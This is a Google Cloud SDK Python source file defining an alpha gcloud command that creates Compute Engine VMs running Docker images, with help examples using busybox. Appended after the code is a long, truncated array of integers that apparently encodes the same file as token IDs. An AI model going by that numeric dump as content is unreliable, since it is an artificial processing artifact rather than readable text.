# limitations under the License.
"""Command for creating VM instances running Docker images."""
from googlecloudsdk.api_lib.compute import base_classes
from googlecloudsdk.api_lib.compute import containers_utils
from googlecloudsdk.api_lib.compute import instance_utils
from googlecloudsdk.api_lib.compute import metadata_utils
from googlecloudsdk.api_lib.compute import utils
from googlecloudsdk.api_lib.compute import zone_utils
from googlecloudsdk.calliope import base
from googlecloudsdk.calliope import exceptions
from googlecloudsdk.command_lib.compute import flags
from googlecloudsdk.command_lib.compute.instances import flags as instances_flags
from googlecloudsdk.command_lib.util import labels_util
@base.ReleaseTracks(base.ReleaseTrack.ALPHA)
class CreateFromContainer(base.CreateCommand):
"""Command for creating VM instances running Docker images."""
@staticmethod
def Args(parser):
"""Register parser args."""
parser.display_info.AddFormat(instances_flags.DEFAULT_LIST_FORMAT)
metadata_utils.AddMetadataArgs(parser)
instances_flags.AddDiskArgs(parser, True)
instances_flags.AddCreateDiskArgs(parser)
instances_flags.AddLocalSsdArgsWithSize(parser)
instances_flags.AddCanIpForwardArgs(parser)
instances_flags.AddAddressArgs(parser, instances=True)
instances_flags.AddMachineTypeArgs(parser)
instances_flags.AddMaintenancePolicyArgs(parser)
instances_flags.AddNoRestartOnFailureArgs(parser)
instances_flags.AddPreemptibleVmArgs(parser)
instances_flags.AddServiceAccountAndScopeArgs(parser, False)
instances_flags.AddTagsArgs(parser)
instances_flags.AddCustomMachineTypeArgs(parser)
instances_flags.AddNetworkArgs(parser)
instances_flags.AddPrivateNetworkIpArgs(parser)
instances_flags.AddDockerArgs(parser)
instances_flags.AddPublicDnsArgs(parser, instance=True)
instances_flags.AddNetworkTierArgs(parser, instance=True)
instances_flags.AddMinCpuPlatformArgs(parser, base.ReleaseTrack.ALPHA)
labels_util.AddCreateLabelsFlags(parser)
parser.add_argument(
'--description',
help='Specifies a textual description of the instances.')
instances_flags.INSTANCES_ARG.AddArgument(parser, operation_type='create')
CreateFromContainer.SOURCE_INSTANCE_TEMPLATE = (
instances_flags.MakeSourceInstanceTemplateArg())
CreateFromContainer.SOURCE_INSTANCE_TEMPLATE.AddArgument(parser)
def GetSourceInstanceTemplate(self, args, resources):
if not args.IsSpecified('source_instance_template'):
return None
ref = self.SOURCE_INSTANCE_TEMPLATE.ResolveAsResource(args, resources)
return ref.SelfLink()
def Run(self, args):
holder = base_classes.ComputeApiHolder(self.ReleaseTrack())
client = holder.client
source_instance_template = self.GetSourceInstanceTemplate(
args, holder.resources)
# gcloud creates default values for some fields in Instance resource
# when no value was specified on command line.
# When --source-instance-template was specified, defaults are taken from
# Instance Template and gcloud flags are used to override them - by default
# fields should not be initialized.
skip_defaults = source_instance_template is not None
instances_flags.ValidateDockerArgs(args)
instances_flags.ValidateDiskCommonFlags(args)
instances_flags.ValidateLocalSsdFlags(args)
instances_flags.ValidateServiceAccountAndScopeArgs(args)
if instance_utils.UseExistingBootDisk(args.disk or []):
raise exceptions.InvalidArgumentException(
'--disk',
'Boot disk specified for containerized VM.')
if (skip_defaults and not args.IsSpecified('maintenance_policy') and
not args.IsSpecified('preemptible') and
not args.IsSpecified('restart_on_failure')):
scheduling = None
else:
scheduling = instance_utils.CreateSchedulingMessage(
messages=client.messages,
maintenance_policy=args.maintenance_policy,
preemptible=args.preemptible,
restart_on_failure=args.restart_on_failure)
if args.no_service_account:
service_account = None
else:
service_account = args.service_account
if (skip_defaults and not args.IsSpecified('scopes') and
not args.IsSpecified('no_scopes') and
not args.IsSpecified('service_account') and
not args.IsSpecified('no_service_account')):
service_accounts = []
else:
service_accounts = instance_utils.CreateServiceAccountMessages(
messages=client.messages,
scopes=[] if args.no_scopes else args.scopes,
service_account=service_account)
user_metadata = metadata_utils.ConstructMetadataMessage(
client.messages,
metadata=args.metadata,
metadata_from_file=args.metadata_from_file)
containers_utils.ValidateUserMetadata(user_metadata)
boot_disk_size_gb = utils.BytesToGb(args.boot_disk_size)
utils.WarnIfDiskSizeIsTooSmall(boot_disk_size_gb, args.boot_disk_type)
instance_refs = instances_flags.INSTANCES_ARG.ResolveAsResource(
args,
holder.resources,
scope_lister=flags.GetDefaultScopeLister(client))
# Check if the zone is deprecated or has maintenance coming.
zone_resource_fetcher = zone_utils.ZoneResourceFetcher(client)
zone_resource_fetcher.WarnForZonalCreation(instance_refs)
instances_flags.ValidatePublicDnsFlags(args)
if (skip_defaults and not args.IsSpecified('network') and
not args.IsSpecified('subnet') and
not args.IsSpecified('private_network_ip') and
not args.IsSpecified('no_address') and
not args.IsSpecified('address') and
not args.IsSpecified('network_tier') and
not args.IsSpecified('no_public_dns') and
not args.IsSpecified('public_dns') and
not args.IsSpecified('no_public_ptr') and
not args.IsSpecified('public_ptr') and
not args.IsSpecified('no_public_ptr_domain') and
not args.IsSpecified('public_ptr_domain')):
network_interfaces = []
else:
network_interfaces = [instance_utils.CreateNetworkInterfaceMessage(
resources=holder.resources,
compute_client=client,
network=args.network,
subnet=args.subnet,
private_network_ip=args.private_network_ip,
no_address=args.no_address,
address=args.address,
instance_refs=instance_refs,
network_tier=args.network_tier,
no_public_dns=getattr(args, 'no_public_dns', None),
public_dns=getattr(args, 'public_dns', None),
no_public_ptr=getattr(args, 'no_public_ptr', None),
public_ptr=getattr(args, 'public_ptr', None),
no_public_ptr_domain=getattr(args, 'no_public_ptr_domain', None),
public_ptr_domain=getattr(args, 'public_ptr_domain', None))]
if (skip_defaults and not args.IsSpecified('machine_type') and
not args.IsSpecified('custom_cpu') and
not args.IsSpecified('custom_memory')):
machine_type_uris = [None for _ in instance_refs]
else:
machine_type_uris = instance_utils.CreateMachineTypeUris(
resources=holder.resources,
compute_client=client,
machine_type=args.machine_type,
custom_cpu=args.custom_cpu,
custom_memory=args.custom_memory,
ext=getattr(args, 'custom_extensions', None),
instance_refs=instance_refs)
image_uri = containers_utils.ExpandCosImageFlag(client)
args_labels = getattr(args, 'labels', None)
labels = None
if args_labels:
labels = client.messages.Instance.LabelsValue(
additionalProperties=[
client.messages.Instance.LabelsValue.AdditionalProperty(
key=key, value=value)
for key, value in sorted(args.labels.iteritems())])
if skip_defaults and not args.IsSpecified('can_ip_forward'):
can_ip_forward = None
else:
can_ip_forward = args.can_ip_forward
requests = []
for instance_ref, machine_type_uri in zip(instance_refs, machine_type_uris):
metadata = containers_utils.CreateMetadataMessage(
client.messages, args.run_as_privileged, args.container_manifest,
args.docker_image, args.port_mappings, args.run_command,
user_metadata, instance_ref.Name())
request = client.messages.ComputeInstancesInsertRequest(
instance=client.messages.Instance(
canIpForward=can_ip_forward,
disks=(self._CreateDiskMessages(holder, args, boot_disk_size_gb,
image_uri, instance_ref,
skip_defaults)),
description=args.description,
machineType=machine_type_uri,
metadata=metadata,
minCpuPlatform=args.min_cpu_platform,
name=instance_ref.Name(),
networkInterfaces=network_interfaces,
serviceAccounts=service_accounts,
scheduling=scheduling,
tags=containers_utils.CreateTagsMessage(client.messages,
args.tags)),
project=instance_ref.project,
zone=instance_ref.zone)
if labels:
request.instance.labels = labels
if source_instance_template:
request.sourceInstanceTemplate = source_instance_template
requests.append((client.apitools_client.instances,
'Insert', request))
return client.MakeRequests(requests)
def _CreateDiskMessages(self, holder, args, boot_disk_size_gb, image_uri,
instance_ref, skip_defaults):
"""Creates API messages with disks attached to VM instance."""
if (skip_defaults and not args.IsSpecified('disk') and
not args.IsSpecified('create_disk') and
not args.IsSpecified('local_ssd') and
not args.IsSpecified('boot_disk_type') and
not args.IsSpecified('boot_disk_device_name') and
not args.IsSpecified('boot_disk_auto_delete')):
return []
else:
persistent_disks, _ = (
instance_utils.CreatePersistentAttachedDiskMessages(
holder.resources, holder.client, None, args.disk or [],
instance_ref))
persistent_create_disks = (
instance_utils.CreatePersistentCreateDiskMessages(
holder.client, holder.resources, None,
getattr(args, 'create_disk', []), instance_ref))
local_ssds = []
for x in args.local_ssd or []:
local_ssd = instance_utils.CreateLocalSsdMessage(
holder.resources,
holder.client.messages,
x.get('device-name'),
x.get('interface'),
x.get('size'),
instance_ref.zone,
instance_ref.project)
local_ssds.append(local_ssd)
boot_disk = instance_utils.CreateDefaultBootAttachedDiskMessage(
holder.client, holder.resources,
disk_type=args.boot_disk_type,
disk_device_name=args.boot_disk_device_name,
disk_auto_delete=args.boot_disk_auto_delete,
disk_size_gb=boot_disk_size_gb,
require_csek_key_create=None,
image_uri=image_uri,
instance_ref=instance_ref,
csek_keys=None)
return (
[boot_disk] + persistent_disks + persistent_create_disks + local_ssds)
CreateFromContainer.detailed_help = {
'brief': """\
Command for creating Google Compute engine virtual machine instances running Docker images.
""",
'DESCRIPTION': """\
*{command}* facilitates the creation of Google Compute Engine virtual
machines that runs a Docker image. For example, running:
$ {command} instance-1 --zone us-central1-a --docker-image=gcr.io/google-containers/busybox
will create an instance called instance-1, in the us-central1-a zone,
running the 'busybox' image.
For more examples, refer to the *EXAMPLES* section below.
""",
'EXAMPLES': """\
To run the gcr.io/google-containers/busybox image on an instance named
'instance-1' that exposes port 80, run:
$ {command} instance-1 --docker-image=gcr.io/google-containers/busybox --port-mappings=80:80:TCP
To run the gcr.io/google-containers/busybox image on an instance named
'instance-1' that executes 'echo "Hello world"' as a run command, run:
$ {command} instance-1 --docker-image=gcr.io/google-containers/busybox --run-command='echo "Hello world"'
To run the gcr.io/google-containers/busybox image in privileged mode, run:
$ {command} instance-1 --docker-image=gcr.io/google-containers/busybox --run-as-privileged
"""
}
| [
1,
396,
14187,
1266,
29871,
29906,
29900,
29896,
29953,
5087,
9266,
29889,
2178,
26863,
2538,
9841,
29889,
13,
29937,
13,
29937,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
13,
29937,
366,
1122,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
13,
29937,
887,
1122,
4017,
263,
3509,
310,
278,
19245,
472,
13,
29937,
13,
29937,
1678,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
29937,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
13,
29937,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
13,
29937,
2823,
278,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
13,
29937,
27028,
1090,
278,
19245,
29889,
13,
15945,
29908,
6255,
363,
4969,
11400,
8871,
2734,
20868,
4558,
1213,
15945,
13,
3166,
5386,
9274,
15348,
29889,
2754,
29918,
1982,
29889,
26017,
1053,
2967,
29918,
13203,
13,
3166,
5386,
9274,
15348,
29889,
2754,
29918,
1982,
29889,
26017,
1053,
22637,
29918,
13239,
13,
3166,
5386,
9274,
15348,
29889,
2754,
29918,
1982,
29889,
26017,
1053,
2777,
29918,
13239,
13,
3166,
5386,
9274,
15348,
29889,
2754,
29918,
1982,
29889,
26017,
1053,
15562,
29918,
13239,
13,
3166,
5386,
9274,
15348,
29889,
2754,
29918,
1982,
29889,
26017,
1053,
3667,
29879,
13,
3166,
5386,
9274,
15348,
29889,
2754,
29918,
1982,
29889,
26017,
1053,
10640,
29918,
13239,
13,
3166,
5386,
9274,
15348,
29889,
1052,
492,
2300,
1053,
2967,
13,
3166,
5386,
9274,
15348,
29889,
1052,
492,
2300,
1053,
15283,
13,
3166,
5386,
9274,
15348,
29889,
6519,
29918,
1982,
29889,
26017,
1053,
13449,
13,
3166,
5386,
9274,
15348,
29889,
6519,
29918,
1982,
29889,
26017,
29889,
2611,
2925,
1053,
13449,
408,
8871,
29918,
15764,
13,
3166,
5386,
9274,
15348,
29889,
6519,
29918,
1982,
29889,
4422,
1053,
11073,
29918,
4422,
13,
13,
13,
29992,
3188,
29889,
19729,
5323,
4684,
29898,
3188,
29889,
19729,
17936,
29889,
1964,
29925,
15715,
29897,
13,
1990,
6204,
4591,
7895,
29898,
3188,
29889,
4391,
6255,
1125,
13,
29871,
9995,
6255,
363,
4969,
11400,
8871,
2734,
20868,
4558,
1213,
15945,
13,
13,
29871,
732,
7959,
5696,
13,
29871,
822,
826,
3174,
29898,
16680,
1125,
13,
1678,
9995,
15213,
13812,
6389,
1213,
15945,
13,
1678,
13812,
29889,
4990,
29918,
3888,
29889,
2528,
5809,
29898,
2611,
2925,
29918,
15764,
29889,
23397,
29918,
24360,
29918,
19094,
1299,
29897,
13,
1678,
15562,
29918,
13239,
29889,
2528,
18417,
7883,
29898,
16680,
29897,
13,
1678,
8871,
29918,
15764,
29889,
2528,
29928,
3873,
7883,
29898,
16680,
29892,
5852,
29897,
13,
1678,
8871,
29918,
15764,
29889,
2528,
4391,
29928,
3873,
7883,
29898,
16680,
29897,
13,
1678,
8871,
29918,
15764,
29889,
2528,
7717,
29903,
4928,
7883,
3047,
3505,
29898,
16680,
29897,
13,
1678,
8871,
29918,
15764,
29889,
2528,
6028,
29902,
29886,
2831,
1328,
7883,
29898,
16680,
29897,
13,
1678,
8871,
29918,
15764,
29889,
2528,
7061,
7883,
29898,
16680,
29892,
8871,
29922,
5574,
29897,
13,
1678,
8871,
29918,
15764,
29889,
2528,
29076,
1542,
7883,
29898,
16680,
29897,
13,
1678,
8871,
29918,
15764,
29889,
2528,
6330,
841,
749,
15644,
7883,
29898,
16680,
29897,
13,
1678,
8871,
29918,
15764,
29889,
2528,
3782,
15078,
442,
2951,
24155,
7883,
29898,
16680,
29897,
13,
1678,
8871,
29918,
15764,
29889,
2528,
6572,
3456,
1821,
29963,
29885,
7883,
29898,
16680,
29897,
13,
1678,
8871,
29918,
15764,
29889,
2528,
3170,
10601,
2855,
15289,
7883,
29898,
16680,
29892,
7700,
29897,
13,
1678,
8871,
29918,
15764,
29889,
2528,
28089,
7883,
29898,
16680,
29897,
13,
1678,
8871,
29918,
15764,
29889,
2528,
7281,
29076,
1542,
7883,
29898,
16680,
29897,
13,
1678,
8871,
29918,
15764,
29889,
2528,
13724,
7883,
29898,
16680,
29897,
13,
1678,
8871,
29918,
15764,
29889,
2528,
25207,
13724,
29902,
29886,
7883,
29898,
16680,
29897,
13,
1678,
8871,
29918,
15764,
29889,
2528,
29928,
8658,
7883,
29898,
16680,
29897,
13,
1678,
8871,
29918,
15764,
29889,
2528,
19858,
29928,
1983,
7883,
29898,
16680,
29892,
2777,
29922,
5574,
29897,
13,
1678,
8871,
29918,
15764,
29889,
2528,
13724,
29911,
631,
7883,
29898,
16680,
29892,
2777,
29922,
5574,
29897,
13,
1678,
8871,
29918,
15764,
29889,
2528,
8140,
29907,
3746,
21889,
7883,
29898,
16680,
29892,
2967,
29889,
19729,
17936,
29889,
1964,
29925,
15715,
29897,
13,
1678,
11073,
29918,
4422,
29889,
2528,
4391,
4775,
29879,
15675,
29898,
16680,
29897,
13,
13,
1678,
13812,
29889,
1202,
29918,
23516,
29898,
13,
4706,
525,
489,
8216,
742,
13,
4706,
1371,
2433,
10299,
11057,
263,
1426,
950,
6139,
310,
278,
8871,
29889,
1495,
13,
13,
1678,
8871,
29918,
15764,
29889,
25580,
2190,
27266,
29918,
1718,
29954,
29889,
2528,
15730,
29898,
16680,
29892,
5858,
29918,
1853,
2433,
3258,
1495,
13,
13,
1678,
6204,
4591,
7895,
29889,
27839,
4741,
29918,
25580,
23219,
29918,
4330,
3580,
29931,
3040,
353,
313,
13,
4706,
8871,
29918,
15764,
29889,
9984,
4435,
4998,
6733,
8559,
3101,
13,
1678,
6204,
4591,
7895,
29889,
27839,
4741,
29918,
25580,
23219,
29918,
4330,
3580,
29931,
3040,
29889,
2528,
15730,
29898,
16680,
29897,
13,
13,
29871,
822,
3617,
4435,
4998,
6733,
29898,
1311,
29892,
6389,
29892,
7788,
1125,
13,
1678,
565,
451,
6389,
29889,
3624,
10299,
2164,
877,
4993,
29918,
8758,
29918,
6886,
29374,
13,
418,
736,
6213,
13,
1678,
2143,
353,
1583,
29889,
27839,
4741,
29918,
25580,
23219,
29918,
4330,
3580,
29931,
3040,
29889,
12375,
345,
2887,
6848,
29898,
5085,
29892,
7788,
29897,
13,
1678,
736,
2143,
29889,
24313,
6595,
580,
13,
13,
29871,
822,
7525,
29898,
1311,
29892,
6389,
1125,
13,
1678,
19464,
353,
2967,
29918,
13203,
29889,
20606,
29872,
11713,
11439,
29898,
1311,
29889,
19729,
17936,
3101,
13,
1678,
3132,
353,
19464,
29889,
4645,
13,
13,
1678,
2752,
29918,
8758,
29918,
6886,
353,
1583,
29889,
2577,
4435,
4998,
6733,
29898,
13,
4706,
6389,
29892,
19464,
29889,
13237,
29897,
13,
1678,
396,
330,
9274,
10017,
2322,
1819,
363,
777,
4235,
297,
2799,
749,
6503,
13,
1678,
396,
746,
694,
995,
471,
6790,
373,
1899,
1196,
29889,
13,
1678,
396,
1932,
1192,
4993,
29899,
8758,
29899,
6886,
471,
6790,
29892,
21274,
526,
4586,
515,
13,
1678,
396,
2799,
749,
25663,
322,
330,
9274,
13449,
526,
1304,
304,
5712,
963,
448,
491,
2322,
13,
1678,
396,
4235,
881,
451,
367,
16601,
29889,
13,
1678,
14383,
29918,
4381,
29879,
353,
2752,
29918,
8758,
29918,
6886,
338,
451,
6213,
13,
13,
1678,
8871,
29918,
15764,
29889,
7211,
403,
29928,
8658,
7883,
29898,
5085,
29897,
13,
1678,
8871,
29918,
15764,
29889,
7211,
403,
29928,
3873,
18877,
15675,
29898,
5085,
29897,
13,
1678,
8871,
29918,
15764,
29889,
7211,
403,
7717,
29903,
4928,
15675,
29898,
5085,
29897,
13,
1678,
8871,
29918,
15764,
29889,
7211,
403,
3170,
10601,
2855,
15289,
7883,
29898,
5085,
29897,
13,
1678,
565,
2777,
29918,
13239,
29889,
11403,
1252,
15423,
20967,
29928,
3873,
29898,
5085,
29889,
20960,
470,
5159,
1125,
13,
418,
12020,
15283,
29889,
13919,
15730,
2451,
29898,
13,
3986,
525,
489,
20960,
742,
13,
3986,
525,
20967,
8086,
6790,
363,
5639,
1891,
11400,
29889,
1495,
13,
13,
1678,
565,
313,
11014,
29918,
4381,
29879,
322,
451,
6389,
29889,
3624,
10299,
2164,
877,
3396,
841,
749,
29918,
22197,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
1457,
3456,
1821,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
5060,
442,
29918,
265,
29918,
14057,
545,
8785,
29901,
13,
418,
28598,
19478,
353,
6213,
13,
1678,
1683,
29901,
13,
418,
28598,
19478,
353,
2777,
29918,
13239,
29889,
4391,
4504,
287,
19478,
3728,
29898,
13,
3986,
7191,
29922,
4645,
29889,
19158,
29892,
13,
3986,
25413,
29918,
22197,
29922,
5085,
29889,
3396,
841,
749,
29918,
22197,
29892,
13,
3986,
758,
3456,
1821,
29922,
5085,
29889,
1457,
3456,
1821,
29892,
13,
3986,
10715,
29918,
265,
29918,
14057,
545,
29922,
5085,
29889,
5060,
442,
29918,
265,
29918,
14057,
545,
29897,
13,
13,
1678,
565,
6389,
29889,
1217,
29918,
5509,
29918,
10149,
29901,
13,
418,
2669,
29918,
10149,
353,
6213,
13,
1678,
1683,
29901,
13,
418,
2669,
29918,
10149,
353,
6389,
29889,
5509,
29918,
10149,
13,
1678,
565,
313,
11014,
29918,
4381,
29879,
322,
451,
6389,
29889,
3624,
10299,
2164,
877,
21785,
267,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
1217,
29918,
21785,
267,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
5509,
29918,
10149,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
1217,
29918,
5509,
29918,
10149,
8785,
29901,
13,
418,
2669,
29918,
10149,
29879,
353,
5159,
13,
1678,
1683,
29901,
13,
418,
2669,
29918,
10149,
29879,
353,
2777,
29918,
13239,
29889,
4391,
3170,
10601,
25510,
29898,
13,
3986,
7191,
29922,
4645,
29889,
19158,
29892,
13,
3986,
16505,
267,
29922,
2636,
565,
6389,
29889,
1217,
29918,
21785,
267,
1683,
6389,
29889,
21785,
267,
29892,
13,
3986,
2669,
29918,
10149,
29922,
5509,
29918,
10149,
29897,
13,
13,
1678,
1404,
29918,
19635,
353,
15562,
29918,
13239,
29889,
1168,
4984,
18417,
3728,
29898,
13,
4706,
3132,
29889,
19158,
29892,
13,
4706,
15562,
29922,
5085,
29889,
19635,
29892,
13,
4706,
15562,
29918,
3166,
29918,
1445,
29922,
5085,
29889,
19635,
29918,
3166,
29918,
1445,
29897,
13,
1678,
22637,
29918,
13239,
29889,
7211,
403,
2659,
18417,
29898,
1792,
29918,
19635,
29897,
13,
13,
1678,
6579,
29918,
20960,
29918,
2311,
29918,
26300,
353,
3667,
29879,
29889,
11207,
1762,
29954,
29890,
29898,
5085,
29889,
4777,
29918,
20960,
29918,
2311,
29897,
13,
1678,
3667,
29879,
29889,
29956,
2753,
3644,
29928,
3873,
3505,
3624,
1762,
29877,
12636,
497,
29898,
4777,
29918,
20960,
29918,
2311,
29918,
26300,
29892,
6389,
29889,
4777,
29918,
20960,
29918,
1853,
29897,
13,
13,
1678,
2777,
29918,
24539,
353,
8871,
29918,
15764,
29889,
25580,
2190,
27266,
29918,
1718,
29954,
29889,
12375,
345,
2887,
6848,
29898,
13,
4706,
6389,
29892,
13,
4706,
19464,
29889,
13237,
29892,
13,
4706,
6874,
29918,
29880,
1531,
29922,
15764,
29889,
2577,
4592,
15289,
29931,
1531,
29898,
4645,
876,
13,
13,
1678,
396,
5399,
565,
278,
10640,
338,
18164,
470,
756,
25413,
6421,
29889,
13,
1678,
10640,
29918,
10314,
29918,
9155,
261,
353,
10640,
29918,
13239,
29889,
18482,
6848,
20927,
261,
29898,
4645,
29897,
13,
1678,
10640,
29918,
10314,
29918,
9155,
261,
29889,
29956,
2753,
2831,
29999,
7177,
9832,
362,
29898,
8758,
29918,
24539,
29897,
13,
13,
1678,
8871,
29918,
15764,
29889,
7211,
403,
19858,
29928,
1983,
15675,
29898,
5085,
29897,
13,
13,
1678,
565,
313,
11014,
29918,
4381,
29879,
322,
451,
6389,
29889,
3624,
10299,
2164,
877,
11618,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
1491,
1212,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
9053,
29918,
11618,
29918,
666,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
1217,
29918,
7328,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
7328,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
11618,
29918,
29873,
631,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
1217,
29918,
3597,
29918,
29881,
1983,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
3597,
29918,
29881,
1983,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
1217,
29918,
3597,
29918,
7414,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
3597,
29918,
7414,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
1217,
29918,
3597,
29918,
7414,
29918,
7247,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
3597,
29918,
7414,
29918,
7247,
8785,
29901,
13,
418,
3564,
29918,
1639,
8726,
353,
5159,
13,
1678,
1683,
29901,
13,
418,
3564,
29918,
1639,
8726,
353,
518,
8758,
29918,
13239,
29889,
4391,
13724,
10448,
3728,
29898,
13,
3986,
7788,
29922,
7694,
29889,
13237,
29892,
13,
3986,
10272,
29918,
4645,
29922,
4645,
29892,
13,
3986,
3564,
29922,
5085,
29889,
11618,
29892,
13,
3986,
1014,
1212,
29922,
5085,
29889,
1491,
1212,
29892,
13,
3986,
2024,
29918,
11618,
29918,
666,
29922,
5085,
29889,
9053,
29918,
11618,
29918,
666,
29892,
13,
3986,
694,
29918,
7328,
29922,
5085,
29889,
1217,
29918,
7328,
29892,
13,
3986,
3211,
29922,
5085,
29889,
7328,
29892,
13,
3986,
2777,
29918,
24539,
29922,
8758,
29918,
24539,
29892,
13,
3986,
3564,
29918,
29873,
631,
29922,
5085,
29889,
11618,
29918,
29873,
631,
29892,
13,
3986,
694,
29918,
3597,
29918,
29881,
1983,
29922,
657,
5552,
29898,
5085,
29892,
525,
1217,
29918,
3597,
29918,
29881,
1983,
742,
6213,
511,
13,
3986,
970,
29918,
29881,
1983,
29922,
657,
5552,
29898,
5085,
29892,
525,
3597,
29918,
29881,
1983,
742,
6213,
511,
13,
3986,
694,
29918,
3597,
29918,
7414,
29922,
657,
5552,
29898,
5085,
29892,
525,
1217,
29918,
3597,
29918,
7414,
742,
6213,
511,
13,
3986,
970,
29918,
7414,
29922,
657,
5552,
29898,
5085,
29892,
525,
3597,
29918,
7414,
742,
6213,
511,
13,
3986,
694,
29918,
3597,
29918,
7414,
29918,
7247,
29922,
657,
5552,
29898,
5085,
29892,
525,
1217,
29918,
3597,
29918,
7414,
29918,
7247,
742,
6213,
511,
13,
3986,
970,
29918,
7414,
29918,
7247,
29922,
657,
5552,
29898,
5085,
29892,
525,
3597,
29918,
7414,
29918,
7247,
742,
6213,
28166,
13,
13,
1678,
565,
313,
11014,
29918,
4381,
29879,
322,
451,
6389,
29889,
3624,
10299,
2164,
877,
23523,
29918,
1853,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
6341,
29918,
21970,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
6341,
29918,
14834,
8785,
29901,
13,
418,
4933,
29918,
1853,
29918,
332,
275,
353,
518,
8516,
363,
903,
297,
2777,
29918,
24539,
29962,
13,
1678,
1683,
29901,
13,
418,
4933,
29918,
1853,
29918,
332,
275,
353,
2777,
29918,
13239,
29889,
4391,
29076,
1542,
29965,
3780,
29898,
13,
3986,
7788,
29922,
7694,
29889,
13237,
29892,
13,
3986,
10272,
29918,
4645,
29922,
4645,
29892,
13,
3986,
4933,
29918,
1853,
29922,
5085,
29889,
23523,
29918,
1853,
29892,
13,
3986,
2888,
29918,
21970,
29922,
5085,
29889,
6341,
29918,
21970,
29892,
13,
3986,
2888,
29918,
14834,
29922,
5085,
29889,
6341,
29918,
14834,
29892,
13,
3986,
1294,
29922,
657,
5552,
29898,
5085,
29892,
525,
6341,
29918,
24299,
742,
6213,
511,
13,
3986,
2777,
29918,
24539,
29922,
8758,
29918,
24539,
29897,
13,
13,
1678,
1967,
29918,
5338,
353,
22637,
29918,
13239,
29889,
29777,
29907,
359,
2940,
21979,
29898,
4645,
29897,
13,
13,
1678,
6389,
29918,
21134,
353,
679,
5552,
29898,
5085,
29892,
525,
21134,
742,
6213,
29897,
13,
1678,
11073,
353,
6213,
13,
1678,
565,
6389,
29918,
21134,
29901,
13,
418,
11073,
353,
3132,
29889,
19158,
29889,
4998,
29889,
4775,
29879,
1917,
29898,
13,
3986,
5684,
11857,
11759,
13,
795,
3132,
29889,
19158,
29889,
4998,
29889,
4775,
29879,
1917,
29889,
2528,
3245,
4854,
29898,
13,
462,
29871,
1820,
29922,
1989,
29892,
995,
29922,
1767,
29897,
13,
795,
363,
1820,
29892,
995,
297,
12705,
29898,
5085,
29889,
21134,
29889,
1524,
7076,
3101,
2314,
13,
13,
1678,
565,
14383,
29918,
4381,
29879,
322,
451,
6389,
29889,
3624,
10299,
2164,
877,
3068,
29918,
666,
29918,
11333,
29374,
13,
418,
508,
29918,
666,
29918,
11333,
353,
6213,
13,
1678,
1683,
29901,
13,
418,
508,
29918,
666,
29918,
11333,
353,
6389,
29889,
3068,
29918,
666,
29918,
11333,
13,
13,
1678,
7274,
353,
5159,
13,
1678,
363,
2777,
29918,
999,
29892,
4933,
29918,
1853,
29918,
5338,
297,
14319,
29898,
8758,
29918,
24539,
29892,
4933,
29918,
1853,
29918,
332,
275,
1125,
13,
418,
15562,
353,
22637,
29918,
13239,
29889,
4391,
18417,
3728,
29898,
13,
3986,
3132,
29889,
19158,
29892,
6389,
29889,
3389,
29918,
294,
29918,
22534,
488,
3192,
29892,
6389,
29889,
7611,
29918,
29135,
29892,
13,
3986,
6389,
29889,
14695,
29918,
3027,
29892,
6389,
29889,
637,
29918,
655,
27775,
29892,
6389,
29889,
3389,
29918,
6519,
29892,
13,
3986,
1404,
29918,
19635,
29892,
2777,
29918,
999,
29889,
1170,
3101,
13,
418,
2009,
353,
3132,
29889,
19158,
29889,
20606,
29872,
3379,
2925,
17491,
3089,
29898,
13,
3986,
2777,
29922,
4645,
29889,
19158,
29889,
4998,
29898,
13,
795,
508,
29902,
29886,
2831,
1328,
29922,
3068,
29918,
666,
29918,
11333,
29892,
13,
795,
766,
2039,
7607,
1311,
3032,
4391,
29928,
3873,
25510,
29898,
7694,
29892,
6389,
29892,
6579,
29918,
20960,
29918,
2311,
29918,
26300,
29892,
13,
462,
462,
795,
1967,
29918,
5338,
29892,
2777,
29918,
999,
29892,
13,
462,
462,
795,
14383,
29918,
4381,
29879,
8243,
13,
795,
6139,
29922,
5085,
29889,
8216,
29892,
13,
795,
4933,
1542,
29922,
23523,
29918,
1853,
29918,
5338,
29892,
13,
795,
15562,
29922,
19635,
29892,
13,
795,
1375,
29907,
3746,
21889,
29922,
5085,
29889,
1195,
29918,
21970,
29918,
12120,
29892,
13,
795,
1024,
29922,
8758,
29918,
999,
29889,
1170,
3285,
13,
